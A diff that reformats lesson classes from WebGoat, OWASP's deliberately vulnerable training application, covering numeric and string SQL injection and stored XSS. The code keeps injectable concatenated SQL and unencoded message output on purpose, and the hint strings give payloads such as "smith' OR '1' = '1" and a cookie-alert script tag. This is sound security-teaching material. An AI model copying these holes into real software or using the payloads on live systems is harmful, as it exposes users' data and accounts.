ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
resultsMetaData));
results.last(); results.last();
// If they get back more than one row they succeeded // If they get back more than one row they succeeded
@ -215,19 +200,14 @@ public class SqlNumericInjection extends SequentialLessonAdapter
{ {
ec.addElement("No results matched. Try Again."); ec.addElement("No results matched. Try Again.");
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
} } catch (NumberFormatException npe)
catch (NumberFormatException npe)
{ {
ec.addElement(new P() ec.addElement(new P().addElement("Error parsing station as a number: " + npe.getMessage()));
.addElement("Error parsing station as a number: "
+ npe.getMessage()));
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -236,15 +216,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return (ec); return (ec);
} }
protected Element makeStationList(WebSession s) throws SQLException, ClassNotFoundException
protected Element makeStationList(WebSession s) throws SQLException,
ClassNotFoundException
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec ec.addElement(new P().addElement("Select your local weather station: "));
.addElement(new P()
.addElement("Select your local weather station: "));
Map stations = getStations(s); Map stations = getStations(s);
Select select = new Select(STATION_ID); Select select = new Select(STATION_ID);
@ -252,8 +228,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
while (it.hasNext()) while (it.hasNext())
{ {
String key = (String) it.next(); String key = (String) it.next();
select.addElement(new Option(key).addElement((String) stations select.addElement(new Option(key).addElement((String) stations.get(key)));
.get(key)));
} }
ec.addElement(select); ec.addElement(select);
ec.addElement(new P()); ec.addElement(new P());
@ -264,14 +239,12 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return ec; return ec;
} }
/** /**
* Gets the stations from the db * Gets the stations from the db
* *
* @return A map containing each station, indexed by station number * @return A map containing each station, indexed by station number
*/ */
protected Map getStations(WebSession s) throws SQLException, protected Map getStations(WebSession s) throws SQLException, ClassNotFoundException
ClassNotFoundException
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
@ -281,8 +254,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
try try
{ {
Statement statement = connection.createStatement( Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
@ -305,8 +277,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter
results.close(); results.close();
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
} }
@ -314,7 +285,6 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return stations; return stations;
} }
/** /**
* Gets the category attribute of the SqNumericInjection object * Gets the category attribute of the SqNumericInjection object
* *
@ -325,7 +295,6 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the hints attribute of the DatabaseFieldScreen object * Gets the hints attribute of the DatabaseFieldScreen object
* *
@ -334,13 +303,10 @@ public class SqlNumericInjection extends SequentialLessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command."); hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM weather_data WHERE station = \" + station "); + "\"SELECT * FROM weather_data WHERE station = \" + station ");
hints hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true."); + "Try appending a SQL statement that always resolves to true.");
hints.add("Try entering [ 101 OR 1 = 1 ]."); hints.add("Try entering [ 101 OR 1 = 1 ].");
@ -349,13 +315,11 @@ public class SqlNumericInjection extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(70); private final static Integer DEFAULT_RANKING = new Integer(70);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DatabaseFieldScreen object * Gets the title attribute of the DatabaseFieldScreen object
* *
@ -366,19 +330,18 @@ public class SqlNumericInjection extends SequentialLessonAdapter
return ("Numeric SQL Injection"); return ("Numeric SQL Injection");
} }
/** /**
* Constructor for the DatabaseFieldScreen object * Constructor for the DatabaseFieldScreen object
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
super.handleRequest(s); super.handleRequest(s);
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println("Exception caught: " + e); System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);

101
main/project/JavaSource/org/owasp/webgoat/lessons/SqlStringInjection.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -8,7 +9,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
@ -19,32 +19,31 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -59,11 +58,11 @@ public class SqlStringInjection extends SequentialLessonAdapter
private String accountName; private String accountName;
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -71,19 +70,16 @@ public class SqlStringInjection extends SequentialLessonAdapter
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
return injectableQuery(s); return injectableQuery(s);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
return parameterizedQuery(s); return parameterizedQuery(s);
} }
protected Element injectableQuery(WebSession s) protected Element injectableQuery(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -94,22 +90,19 @@ public class SqlStringInjection extends SequentialLessonAdapter
ec.addElement(makeAccountLine(s)); ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE last_name = '" String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
+ accountName + "'";
ec.addElement(new PRE(query)); ec.addElement(new PRE(query));
try try
{ {
Statement statement = connection.createStatement( Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
resultsMetaData));
results.last(); results.last();
// If they get back more than one user they succeeded // If they get back more than one user they succeeded
@ -121,11 +114,9 @@ public class SqlStringInjection extends SequentialLessonAdapter
StringBuffer msg = new StringBuffer(); StringBuffer msg = new StringBuffer();
msg.append("Bet you can't do it again! "); msg.append("Bet you can't do it again! ");
msg msg.append("This lesson has detected your successfull attack ");
.append("This lesson has detected your successfull attack ");
msg.append("and has now switched to a defensive mode. "); msg.append("and has now switched to a defensive mode. ");
msg msg.append("Try again to attack a parameterized query.");
.append("Try again to attack a parameterized query.");
s.setMessage(msg.toString()); s.setMessage(msg.toString());
} }
@ -134,14 +125,12 @@ public class SqlStringInjection extends SequentialLessonAdapter
{ {
ec.addElement("No results matched. Try Again."); ec.addElement("No results matched. Try Again.");
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -150,17 +139,14 @@ public class SqlStringInjection extends SequentialLessonAdapter
return (ec); return (ec);
} }
protected Element parameterizedQuery(WebSession s) protected Element parameterizedQuery(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec ec.addElement("Now that you have successfully performed an SQL injection, try the same "
.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query. Restart the lesson if you wish " + " type of attack on a parameterized query. Restart the lesson if you wish "
+ " to return to the injectable query"); + " to return to the injectable query");
if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals( if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
"restart"))
{ {
getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1"); getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
return (injectableQuery(s)); return (injectableQuery(s));
@ -179,8 +165,7 @@ public class SqlStringInjection extends SequentialLessonAdapter
try try
{ {
PreparedStatement statement = connection.prepareStatement( PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setString(1, accountName); statement.setString(1, accountName);
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
@ -188,8 +173,7 @@ public class SqlStringInjection extends SequentialLessonAdapter
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
resultsMetaData));
results.last(); results.last();
// If they get back more than one user they succeeded // If they get back more than one user they succeeded
@ -202,13 +186,11 @@ public class SqlStringInjection extends SequentialLessonAdapter
{ {
ec.addElement("No results matched. Try Again."); ec.addElement("No results matched. Try Again.");
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -217,7 +199,6 @@ public class SqlStringInjection extends SequentialLessonAdapter
return (ec); return (ec);
} }
protected Element makeAccountLine(WebSession s) protected Element makeAccountLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -234,7 +215,6 @@ public class SqlStringInjection extends SequentialLessonAdapter
} }
/** /**
* Gets the category attribute of the SqNumericInjection object * Gets the category attribute of the SqNumericInjection object
* *
@ -245,7 +225,6 @@ public class SqlStringInjection extends SequentialLessonAdapter
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the hints attribute of the DatabaseFieldScreen object * Gets the hints attribute of the DatabaseFieldScreen object
* *
@ -254,13 +233,10 @@ public class SqlStringInjection extends SequentialLessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command."); hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE last_name = \" + accountName "); + "\"SELECT * FROM user_data WHERE last_name = \" + accountName ");
hints hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR."
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR."
+ "Try appending a SQL statement that always resolves to true"); + "Try appending a SQL statement that always resolves to true");
hints.add("Try entering [ smith' OR '1' = '1 ]."); hints.add("Try entering [ smith' OR '1' = '1 ].");
@ -269,13 +245,11 @@ public class SqlStringInjection extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(75); private final static Integer DEFAULT_RANKING = new Integer(75);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DatabaseFieldScreen object * Gets the title attribute of the DatabaseFieldScreen object
* *
@ -286,19 +260,18 @@ public class SqlStringInjection extends SequentialLessonAdapter
return ("String SQL Injection"); return ("String SQL Injection");
} }
/** /**
* Constructor for the DatabaseFieldScreen object * Constructor for the DatabaseFieldScreen object
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
super.handleRequest(s); super.handleRequest(s);
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println("Exception caught: " + e); System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);

121
main/project/JavaSource/org/owasp/webgoat/lessons/StoredXss.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -23,32 +24,31 @@ import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -57,7 +57,10 @@ import org.owasp.webgoat.util.HtmlEncoder;
*/ */
public class StoredXss extends LessonAdapter public class StoredXss extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String MESSAGE = "message"; private final static String MESSAGE = "message";
@ -75,36 +78,34 @@ public class StoredXss extends LessonAdapter
private static int count = 1; private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message
/** /**
* Adds a feature to the Message attribute of the MessageBoardScreen object * Adds a feature to the Message attribute of the MessageBoardScreen object
* *
* @param s The feature to be added to the Message attribute * @param s
* The feature to be added to the Message attribute
*/ */
protected void addMessage(WebSession s) protected void addMessage(WebSession s)
{ {
try try
{ {
String title = HtmlEncoder.encode(s.getParser().getRawParameter( String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, ""));
TITLE, ""));
String message = s.getParser().getRawParameter(MESSAGE, ""); String message = s.getParser().getRawParameter(MESSAGE, "");
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
String query = "INSERT INTO messages VALUES (?, ?, ?, ? )"; String query = "INSERT INTO messages VALUES (?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement(query, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, count++); statement.setInt(1, count++);
statement.setString(2, title); statement.setString(2, title);
statement.setString(3, message); statement.setString(3, message);
statement.setString(4, s.getUserName()); statement.setString(4, s.getUserName());
statement.execute(); statement.execute();
} } catch (Exception e)
catch (Exception e)
{ {
// ignore the empty resultset on the insert. There are a few more SQL Injection errors // ignore the empty resultset on the insert. There are a few more SQL Injection errors
// that could be trapped here but we will let them try. One error would be something // that could be trapped here but we will let them try. One error would be something
@ -117,11 +118,11 @@ public class StoredXss extends LessonAdapter
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -138,7 +139,6 @@ public class StoredXss extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the StoredXss object * Gets the category attribute of the StoredXss object
* *
@ -149,7 +149,6 @@ public class StoredXss extends LessonAdapter
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the MessageBoardScreen object * Gets the hints attribute of the MessageBoardScreen object
* *
@ -159,25 +158,21 @@ public class StoredXss extends LessonAdapter
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("You can put HTML tags in your message."); hints.add("You can put HTML tags in your message.");
hints hints.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
hints hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field."); .add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in the message field.");
hints hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in the message field.");
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in the message field.");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the MessageBoardScreen object * Gets the title attribute of the MessageBoardScreen object
* *
@ -188,11 +183,11 @@ public class StoredXss extends LessonAdapter
return ("Stored XSS Attacks"); return ("Stored XSS Attacks");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeCurrent(WebSession s) protected Element makeCurrent(WebSession s)
@ -211,8 +206,7 @@ public class StoredXss extends LessonAdapter
// cookies, but not get confused by other users scripts // cookies, but not get confused by other users scripts
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?"; String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?";
PreparedStatement statement = connection.prepareStatement(query, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%"); statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum); statement.setInt(2, messageNum);
@ -220,13 +214,10 @@ public class StoredXss extends LessonAdapter
if ((results != null) && results.first()) if ((results != null) && results.first())
{ {
ec.addElement(new H1("Message Contents For: " ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL)));
+ results.getString(TITLE_COL))); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
TR row1 = new TR(new TD(new B(new StringElement("Title:")))); TR row1 = new TR(new TD(new B(new StringElement("Title:"))));
row1.addElement(new TD(new StringElement(results row1.addElement(new TD(new StringElement(results.getString(TITLE_COL))));
.getString(TITLE_COL))));
t.addElement(row1); t.addElement(row1);
String messageData = results.getString(MESSAGE_COL); String messageData = results.getString(MESSAGE_COL);
@ -234,13 +225,14 @@ public class StoredXss extends LessonAdapter
row2.addElement(new TD(new StringElement(messageData))); row2.addElement(new TD(new StringElement(messageData)));
t.addElement(row2); t.addElement(row2);
// Edited by Chuck Willis - added display of the user who posted the message, so that // Edited by Chuck Willis - added display of the user who posted the message, so
// if users use a cross site request forgery or XSS to make another user post a message, // that
// if users use a cross site request forgery or XSS to make another user post a
// message,
// they can see that the message is attributed to that user // they can see that the message is attributed to that user
TR row3 = new TR(new TD(new StringElement("Posted By:"))); TR row3 = new TR(new TD(new StringElement("Posted By:")));
row3.addElement(new TD(new StringElement(results row3.addElement(new TD(new StringElement(results.getString(USER_COL))));
.getString(USER_COL))));
t.addElement(row3); t.addElement(row3);
ec.addElement(t); ec.addElement(t);
@ -258,12 +250,10 @@ public class StoredXss extends LessonAdapter
{ {
if (messageNum != 0) if (messageNum != 0)
{ {
ec.addElement(new P().addElement("Could not find message " ec.addElement(new P().addElement("Could not find message " + messageNum));
+ messageNum));
} }
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -272,11 +262,11 @@ public class StoredXss extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeInput(WebSession s) protected Element makeInput(WebSession s)
@ -309,11 +299,11 @@ public class StoredXss extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public static Element makeList(WebSession s) public static Element makeList(WebSession s)
@ -324,17 +314,15 @@ public class StoredXss extends LessonAdapter
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement( Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
// edit by Chuck Willis - Added logic to associate similar usernames // edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages // The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's // but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts // cookies, but not get confused by other users scripts
ResultSet results = statement.executeQuery(STANDARD_QUERY ResultSet results = statement.executeQuery(STANDARD_QUERY + " WHERE user_name LIKE '"
+ " WHERE user_name LIKE '" + getNameroot(s.getUserName()) + getNameroot(s.getUserName()) + "%'");
+ "%'");
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
@ -342,15 +330,13 @@ public class StoredXss extends LessonAdapter
for (int i = 0; results.next(); i++) for (int i = 0; results.next(); i++)
{ {
A a = ECSFactory.makeLink(results.getString(TITLE_COL), A a = ECSFactory.makeLink(results.getString(TITLE_COL), NUMBER, results.getInt(NUM_COL));
NUMBER, results.getInt(NUM_COL));
TD td = new TD().addElement(a); TD td = new TD().addElement(a);
TR tr = new TR().addElement(td); TR tr = new TR().addElement(td);
t.addElement(tr); t.addElement(tr);
} }
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error while getting message list."); s.setMessage("Error while getting message list.");
} }
@ -362,7 +348,6 @@ public class StoredXss extends LessonAdapter
return (ec); return (ec);
} }
private static String getNameroot(String name) private static String getNameroot(String name)
{ {
String nameroot = name; String nameroot = name;

84
main/project/JavaSource/org/owasp/webgoat/lessons/ThreadSafetyProblem.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -13,35 +14,33 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.P; import org.apache.ecs.html.P;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -50,7 +49,10 @@ import org.owasp.webgoat.session.*;
*/ */
public class ThreadSafetyProblem extends LessonAdapter public class ThreadSafetyProblem extends LessonAdapter
{ {
